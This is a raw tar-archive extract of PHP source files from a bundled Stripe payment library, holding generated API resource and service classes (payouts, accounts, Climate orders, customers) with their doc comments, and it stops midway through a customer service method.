/** * @param array<string, mixed> $config * * @throws \Stripe\Exception\InvalidArgumentException */ private function validateConfig($config) { // api_key if (null !== $config['api_key'] && !\is_string($config['api_key'])) { throw new \Stripe\Exception\InvalidArgumentException('api_key must be null or a string'); } if (null !== $config['api_key'] && ('' === $config['api_key'])) { $msg = 'api_key cannot be the empty string'; throw new \Stripe\Exception\InvalidArgumentException($msg); } if (null !== $config['api_key'] && (\preg_match('/\s/', $config['api_key']))) { $msg = 'api_key cannot contain whitespace'; throw new \Stripe\Exception\InvalidArgumentException($msg); } // client_id if (null !== $config['client_id'] && !\is_string($config['client_id'])) { throw new \Stripe\Exception\InvalidArgumentException('client_id must be null or a string'); } // stripe_account if (null !== $config['stripe_account'] && !\is_string($config['stripe_account'])) { throw new \Stripe\Exception\InvalidArgumentException('stripe_account must be null or a string'); } // stripe_version if (null !== $config['stripe_version'] && !\is_string($config['stripe_version'])) { throw new \Stripe\Exception\InvalidArgumentException('stripe_version must be null or a string'); } // api_base if (!\is_string($config['api_base'])) { throw new \Stripe\Exception\InvalidArgumentException('api_base must be a string'); } // connect_base if (!\is_string($config['connect_base'])) { throw new \Stripe\Exception\InvalidArgumentException('connect_base must be a string'); } // files_base if (!\is_string($config['files_base'])) { throw new \Stripe\Exception\InvalidArgumentException('files_base must be a string'); } // app info if (null !== $config['app_info'] && !\is_array($config['app_info'])) { throw new \Stripe\Exception\InvalidArgumentException('app_info must be an array'); } $appInfoKeys = ['name', 'version', 'url', 'partner_id']; if (null !== $config['app_info'] && array_diff_key($config['app_info'], array_flip($appInfoKeys))) { $msg = 'app_info must be of type array{name: string, version?: string, url?: string, partner_id?: string}'; throw new \Stripe\Exception\InvalidArgumentException($msg); } // check absence of extra keys $extraConfigKeys = \array_diff(\array_keys($config), \array_keys(self::DEFAULT_CONFIG)); if (!empty($extraConfigKeys)) { // Wrap in single quote to more easily catch trailing spaces errors $invalidKeys = "'" . \implode("', '", $extraConfigKeys) . "'"; throw new \Stripe\Exception\InvalidArgumentException('Found unknown key(s) in configuration array: ' . $invalidKeys); } } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/CustomerCashBalanceTransaction.php�����������������������������������������������0000644�����������������00000005667�14720677707�0017103 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe; /** * Customers with certain payments enabled have a cash balance, representing funds that were paid * by the customer to a merchant, but have not yet been allocated to a payment. Cash Balance Transactions * represent when funds are moved into or out of this balance. This includes funding by the customer, allocation * to payments, and refunds to the customer. * * @property string $id Unique identifier for the object. * @property string $object String representing the object's type. Objects of the same type share the same value. * @property null|\Stripe\StripeObject $adjusted_for_overdraft * @property null|\Stripe\StripeObject $applied_to_payment * @property int $created Time at which the object was created. Measured in seconds since the Unix epoch. * @property string $currency Three-letter <a href="https://www.iso.org/iso-4217-currency-codes.html">ISO currency code</a>, in lowercase. Must be a <a href="https://stripe.com/docs/currencies">supported currency</a>. * @property string|\Stripe\Customer $customer The customer whose available cash balance changed as a result of this transaction. * @property int $ending_balance The total available cash balance for the specified currency after this transaction was applied. Represented in the <a href="https://stripe.com/docs/currencies#zero-decimal">smallest currency unit</a>. * @property null|\Stripe\StripeObject $funded * @property bool $livemode Has the value <code>true</code> if the object exists in live mode or the value <code>false</code> if the object exists in test mode. * @property int $net_amount The amount by which the cash balance changed, represented in the <a href="https://stripe.com/docs/currencies#zero-decimal">smallest currency unit</a>. A positive value represents funds being added to the cash balance, a negative value represents funds being removed from the cash balance. * @property null|\Stripe\StripeObject $refunded_from_payment * @property null|\Stripe\StripeObject $transferred_to_balance * @property string $type The type of the cash balance transaction. New types may be added in future. See <a href="https://stripe.com/docs/payments/customer-balance#types">Customer Balance</a> to learn more about these types. * @property null|\Stripe\StripeObject $unapplied_from_payment */ class CustomerCashBalanceTransaction extends ApiResource { const OBJECT_NAME = 'customer_cash_balance_transaction'; const TYPE_ADJUSTED_FOR_OVERDRAFT = 'adjusted_for_overdraft'; const TYPE_APPLIED_TO_PAYMENT = 'applied_to_payment'; const TYPE_FUNDED = 'funded'; const TYPE_FUNDING_REVERSED = 'funding_reversed'; const TYPE_REFUNDED_FROM_PAYMENT = 'refunded_from_payment'; const TYPE_RETURN_CANCELED = 'return_canceled'; const TYPE_RETURN_INITIATED = 'return_initiated'; const TYPE_TRANSFERRED_TO_BALANCE = 'transferred_to_balance'; const TYPE_UNAPPLIED_FROM_PAYMENT = 'unapplied_from_payment'; } �������������������������������������������������������������������������stripe-gateway/lib/SingletonApiResource.php���������������������������������������������������������0000644�����������������00000001324�14720677707�0015115 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php namespace Stripe; /** * Class SingletonApiResource. */ abstract class SingletonApiResource extends ApiResource { /** * @return string the endpoint associated with this singleton class */ public static function classUrl() { // Replace dots with slashes for namespaced resources, e.g. if the object's name is // "foo.bar", then its URL will be "/v1/foo/bar". /** @phpstan-ignore-next-line */ $base = \str_replace('.', '/', static::OBJECT_NAME); return "/v1/{$base}"; } /** * @return string the endpoint associated with this singleton API resource */ public function instanceUrl() { return static::classUrl(); } } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/PayoutService.php��������������������������������������������������������0000644�����������������00000011475�14720677707�0015223 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class PayoutService extends \Stripe\Service\AbstractService { /** * Returns a list of existing payouts sent to third-party bank accounts or payouts * that Stripe sent to you. The payouts return in sorted order, with the most * recently created payouts appearing first. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Payout> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/payouts', $params, $opts); } /** * You can cancel a previously created payout if its status is * <code>pending</code>. Stripe refunds the funds to your available balance. You * can’t cancel automatic Stripe payouts. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Payout */ public function cancel($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/payouts/%s/cancel', $id), $params, $opts); } /** * To send funds to your own bank account, create a new payout object. Your <a * href="#balance">Stripe balance</a> must cover the payout amount. If it doesn’t, * you receive an “Insufficient Funds” error. * * If your API key is in test mode, money won’t actually be sent, though every * other action occurs as if you’re in live mode. * * If you create a manual payout on a Stripe account that uses multiple payment * source types, you need to specify the source type balance that the payout draws * from. The <a href="#balance_object">balance object</a> details available and * pending amounts by source type. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Payout */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/payouts', $params, $opts); } /** * Retrieves the details of an existing payout. Supply the unique payout ID from * either a payout creation request or the payout list. Stripe returns the * corresponding payout information. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Payout */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/payouts/%s', $id), $params, $opts); } /** * Reverses a payout by debiting the destination bank account. At this time, you * can only reverse payouts for connected accounts to US bank accounts. If the * payout is manual and in the <code>pending</code> status, use * <code>/v1/payouts/:id/cancel</code> instead. * * By requesting a reversal through <code>/v1/payouts/:id/reverse</code>, you * confirm that the authorized signatory of the selected bank account authorizes * the debit on the bank account and that no other authorization is required. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Payout */ public function reverse($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/payouts/%s/reverse', $id), $params, $opts); } /** * Updates the specified payout by setting the values of the parameters you pass. * We don’t change parameters that you don’t provide. This request only accepts the * metadata as arguments. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Payout */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/payouts/%s', $id), $params, $opts); } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/AccountLinkService.php���������������������������������������������������0000644�����������������00000001574�14720677707�0016153 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class AccountLinkService extends \Stripe\Service\AbstractService { /** * Creates an AccountLink object that includes a single-use Stripe URL that the * platform can redirect their user to in order to take them through the Connect * Onboarding flow. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\AccountLink */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/account_links', $params, $opts); } } ������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/CountrySpecService.php���������������������������������������������������0000644�����������������00000002416�14720677707�0016213 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class CountrySpecService extends \Stripe\Service\AbstractService { /** * Lists all Country Spec objects available in the API. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\CountrySpec> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/country_specs', $params, $opts); } /** * Returns a Country Spec for a given Country code. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\CountrySpec */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/country_specs/%s', $id), $params, $opts); } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/AccountService.php�������������������������������������������������������0000644�����������������00000036452�14720677707�0015340 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class AccountService extends \Stripe\Service\AbstractService { /** * Returns a list of accounts connected to your platform via <a * href="/docs/connect">Connect</a>. If you’re not a platform, the list is empty. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Account> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/accounts', $params, $opts); } /** * Returns a list of capabilities associated with the account. The capabilities are * returned sorted by creation date, with the most recent capability appearing * first. * * @param string $parentId * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Capability> */ public function allCapabilities($parentId, $params = null, $opts = null) { return $this->requestCollection('get', $this->buildPath('/v1/accounts/%s/capabilities', $parentId), $params, $opts); } /** * List external accounts for an account. * * @param string $parentId * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\BankAccount|\Stripe\Card> */ public function allExternalAccounts($parentId, $params = null, $opts = null) { return $this->requestCollection('get', $this->buildPath('/v1/accounts/%s/external_accounts', $parentId), $params, $opts); } /** * Returns a list of people associated with the account’s legal entity. The people * are returned sorted by creation date, with the most recent people appearing * first. * * @param string $parentId * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Person> */ public function allPersons($parentId, $params = null, $opts = null) { return $this->requestCollection('get', $this->buildPath('/v1/accounts/%s/persons', $parentId), $params, $opts); } /** * With <a href="/docs/connect">Connect</a>, you can create Stripe accounts for * your users. To do this, you’ll first need to <a * href="https://dashboard.stripe.com/account/applications/settings">register your * platform</a>. * * If you’ve already collected information for your connected accounts, you <a * href="/docs/connect/best-practices#onboarding">can prefill that information</a> * when creating the account. Connect Onboarding won’t ask for the prefilled * information during account onboarding. You can prefill any information on the * account. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Account */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/accounts', $params, $opts); } /** * Create an external account for a given account. * * @param string $parentId * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\BankAccount|\Stripe\Card */ public function createExternalAccount($parentId, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/accounts/%s/external_accounts', $parentId), $params, $opts); } /** * Creates a single-use login link for a connected account to access the Express * Dashboard. * * <strong>You can only create login links for accounts that use the <a * href="/connect/express-dashboard">Express Dashboard</a> and are connected to * your platform</strong>. * * @param string $parentId * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\LoginLink */ public function createLoginLink($parentId, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/accounts/%s/login_links', $parentId), $params, $opts); } /** * Creates a new person. * * @param string $parentId * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Person */ public function createPerson($parentId, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/accounts/%s/persons', $parentId), $params, $opts); } /** * With <a href="/connect">Connect</a>, you can delete accounts you manage. * * Test-mode accounts can be deleted at any time. * * Live-mode accounts where Stripe is responsible for negative account balances * cannot be deleted, which includes Standard accounts. Live-mode accounts where * your platform is liable for negative account balances, which includes Custom and * Express accounts, can be deleted when all <a * href="/api/balance/balanace_object">balances</a> are zero. * * If you want to delete your own account, use the <a * href="https://dashboard.stripe.com/settings/account">account information tab in * your account settings</a> instead. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Account */ public function delete($id, $params = null, $opts = null) { return $this->request('delete', $this->buildPath('/v1/accounts/%s', $id), $params, $opts); } /** * Delete a specified external account for a given account. * * @param string $parentId * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\BankAccount|\Stripe\Card */ public function deleteExternalAccount($parentId, $id, $params = null, $opts = null) { return $this->request('delete', $this->buildPath('/v1/accounts/%s/external_accounts/%s', $parentId, $id), $params, $opts); } /** * Deletes an existing person’s relationship to the account’s legal entity. Any * person with a relationship for an account can be deleted through the API, except * if the person is the <code>account_opener</code>. If your integration is using * the <code>executive</code> parameter, you cannot delete the only verified * <code>executive</code> on file. * * @param string $parentId * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Person */ public function deletePerson($parentId, $id, $params = null, $opts = null) { return $this->request('delete', $this->buildPath('/v1/accounts/%s/persons/%s', $parentId, $id), $params, $opts); } /** * With <a href="/connect">Connect</a>, you can reject accounts that you have * flagged as suspicious. * * Only accounts where your platform is liable for negative account balances, which * includes Custom and Express accounts, can be rejected. Test-mode accounts can be * rejected at any time. Live-mode accounts can only be rejected after all balances * are zero. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Account */ public function reject($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/accounts/%s/reject', $id), $params, $opts); } /** * Retrieves information about the specified Account Capability. * * @param string $parentId * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Capability */ public function retrieveCapability($parentId, $id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/accounts/%s/capabilities/%s', $parentId, $id), $params, $opts); } /** * Retrieve a specified external account for a given account. * * @param string $parentId * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\BankAccount|\Stripe\Card */ public function retrieveExternalAccount($parentId, $id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/accounts/%s/external_accounts/%s', $parentId, $id), $params, $opts); } /** * Retrieves an existing person. * * @param string $parentId * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Person */ public function retrievePerson($parentId, $id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/accounts/%s/persons/%s', $parentId, $id), $params, $opts); } /** * Updates a <a href="/connect/accounts">connected account</a> by setting the * values of the parameters passed. Any parameters not provided are left unchanged. * * For accounts where <a * href="/api/accounts/object#account_object-controller-requirement_collection">controller.requirement_collection</a> * is <code>application</code>, which includes Custom accounts, you can update any * information on the account. * * For accounts where <a * href="/api/accounts/object#account_object-controller-requirement_collection">controller.requirement_collection</a> * is <code>stripe</code>, which includes Standard and Express accounts, you can * update all information until you create an <a href="/api/account_links">Account * Link</a> or <a href="/api/account_sessions">Account Session</a> to start Connect * onboarding, after which some properties can no longer be updated. * * To update your own account, use the <a * href="https://dashboard.stripe.com/settings/account">Dashboard</a>. Refer to our * <a href="/docs/connect/updating-accounts">Connect</a> documentation to learn * more about updating accounts. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Account */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/accounts/%s', $id), $params, $opts); } /** * Updates an existing Account Capability. Request or remove a capability by * updating its <code>requested</code> parameter. * * @param string $parentId * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Capability */ public function updateCapability($parentId, $id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/accounts/%s/capabilities/%s', $parentId, $id), $params, $opts); } /** * Updates the metadata, account holder name, account holder type of a bank account * belonging to a connected account and optionally sets it as the default for its * currency. Other bank account details are not editable by design. * * You can only update bank accounts when <a * href="/api/accounts/object#account_object-controller-requirement_collection">account.controller.requirement_collection</a> * is <code>application</code>, which includes <a * href="/connect/custom-accounts">Custom accounts</a>. * * You can re-enable a disabled bank account by performing an update call without * providing any arguments or changes. * * @param string $parentId * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\BankAccount|\Stripe\Card */ public function updateExternalAccount($parentId, $id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/accounts/%s/external_accounts/%s', $parentId, $id), $params, $opts); } /** * Updates an existing person. * * @param string $parentId * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Person */ public function updatePerson($parentId, $id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/accounts/%s/persons/%s', $parentId, $id), $params, $opts); } /** * Retrieves the details of an account. * * @param null|string $id * @param null|array $params * @param null|array|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Account */ public function retrieve($id = null, $params = null, $opts = null) { if (null === $id) { return $this->request('get', '/v1/account', $params, $opts); } return $this->request('get', $this->buildPath('/v1/accounts/%s', $id), $params, $opts); } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Climate/OrderService.php�������������������������������������������������0000644�����������������00000006550�14720677707�0016371 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Climate; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class OrderService extends \Stripe\Service\AbstractService { /** * Lists all Climate order objects. The orders are returned sorted by creation * date, with the most recently created orders appearing first. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Climate\Order> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/climate/orders', $params, $opts); } /** * Cancels a Climate order. You can cancel an order within 24 hours of creation. * Stripe refunds the reservation <code>amount_subtotal</code>, but not the * <code>amount_fees</code> for user-triggered cancellations. Frontier might cancel * reservations if suppliers fail to deliver. If Frontier cancels the reservation, * Stripe provides 90 days advance notice and refunds the * <code>amount_total</code>. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Climate\Order */ public function cancel($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/climate/orders/%s/cancel', $id), $params, $opts); } /** * Creates a Climate order object for a given Climate product. The order will be * processed immediately after creation and payment will be deducted your Stripe * balance. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Climate\Order */ public function create($params = null, $opts = null) { return $this->request('post', '/v1/climate/orders', $params, $opts); } /** * Retrieves the details of a Climate order object with the given ID. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Climate\Order */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/climate/orders/%s', $id), $params, $opts); } /** * Updates the specified order by setting the values of the parameters passed. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Climate\Order */ public function update($id, $params = null, $opts = null) { return $this->request('post', $this->buildPath('/v1/climate/orders/%s', $id), $params, $opts); } } ��������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Climate/ClimateServiceFactory.php����������������������������������������0000644�����������������00000001326�14720677707�0020220 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Climate; /** * Service factory class for API resources in the Climate namespace. * * @property OrderService $orders * @property ProductService $products * @property SupplierService $suppliers */ class ClimateServiceFactory extends \Stripe\Service\AbstractServiceFactory { /** * @var array<string, string> */ private static $classMap = [ 'orders' => OrderService::class, 'products' => ProductService::class, 'suppliers' => SupplierService::class, ]; protected function getServiceClass($name) { return \array_key_exists($name, self::$classMap) ? self::$classMap[$name] : null; } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Climate/SupplierService.php����������������������������������������������0000644�����������������00000002422�14720677707�0017113 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Climate; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class SupplierService extends \Stripe\Service\AbstractService { /** * Lists all available Climate supplier objects. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Climate\Supplier> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/climate/suppliers', $params, $opts); } /** * Retrieves a Climate supplier object. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Climate\Supplier */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/climate/suppliers/%s', $id), $params, $opts); } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/Climate/ProductService.php�����������������������������������������������0000644�����������������00000002445�14720677707�0016735 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service\Climate; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class ProductService extends \Stripe\Service\AbstractService { /** * Lists all available Climate product objects. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Climate\Product> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/climate/products', $params, $opts); } /** * Retrieves the details of a Climate product with the given ID. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Climate\Product */ public function retrieve($id, $params = null, $opts = null) { return $this->request('get', $this->buildPath('/v1/climate/products/%s', $id), $params, $opts); } } ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������stripe-gateway/lib/Service/CustomerService.php������������������������������������������������������0000644�����������������00000044651�14720677707�0015545 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php // File generated from our OpenAPI spec namespace Stripe\Service; /** * @phpstan-import-type RequestOptionsArray from \Stripe\Util\RequestOptions * @psalm-import-type RequestOptionsArray from \Stripe\Util\RequestOptions */ class CustomerService extends \Stripe\Service\AbstractService { /** * Returns a list of your customers. The customers are returned sorted by creation * date, with the most recent customers appearing first. * * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Customer> */ public function all($params = null, $opts = null) { return $this->requestCollection('get', '/v1/customers', $params, $opts); } /** * Returns a list of transactions that updated the customer’s <a * href="/docs/billing/customer/balance">balances</a>. * * @param string $parentId * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\CustomerBalanceTransaction> */ public function allBalanceTransactions($parentId, $params = null, $opts = null) { return $this->requestCollection('get', $this->buildPath('/v1/customers/%s/balance_transactions', $parentId), $params, $opts); } /** * Returns a list of transactions that modified the customer’s <a * href="/docs/payments/customer-balance">cash balance</a>. * * @param string $parentId * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\CustomerCashBalanceTransaction> */ public function allCashBalanceTransactions($parentId, $params = null, $opts = null) { return $this->requestCollection('get', $this->buildPath('/v1/customers/%s/cash_balance_transactions', $parentId), $params, $opts); } /** * Returns a list of PaymentMethods for a given Customer. * * @param string $id * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\PaymentMethod> */ public function allPaymentMethods($id, $params = null, $opts = null) { return $this->requestCollection('get', $this->buildPath('/v1/customers/%s/payment_methods', $id), $params, $opts); } /** * List sources for a specified customer. * * @param string $parentId * @param null|array $params * @param null|RequestOptionsArray|\Stripe\Util\RequestOptions $opts * * @throws \Stripe\Exception\ApiErrorException if the request fails * * @return \Stripe\Collection<\Stripe\Account|\Stripe\BankAccount|\Stripe\Card|\Stripe\Source> */ public function allSources($parentId, $params = null, $opts = null) { return 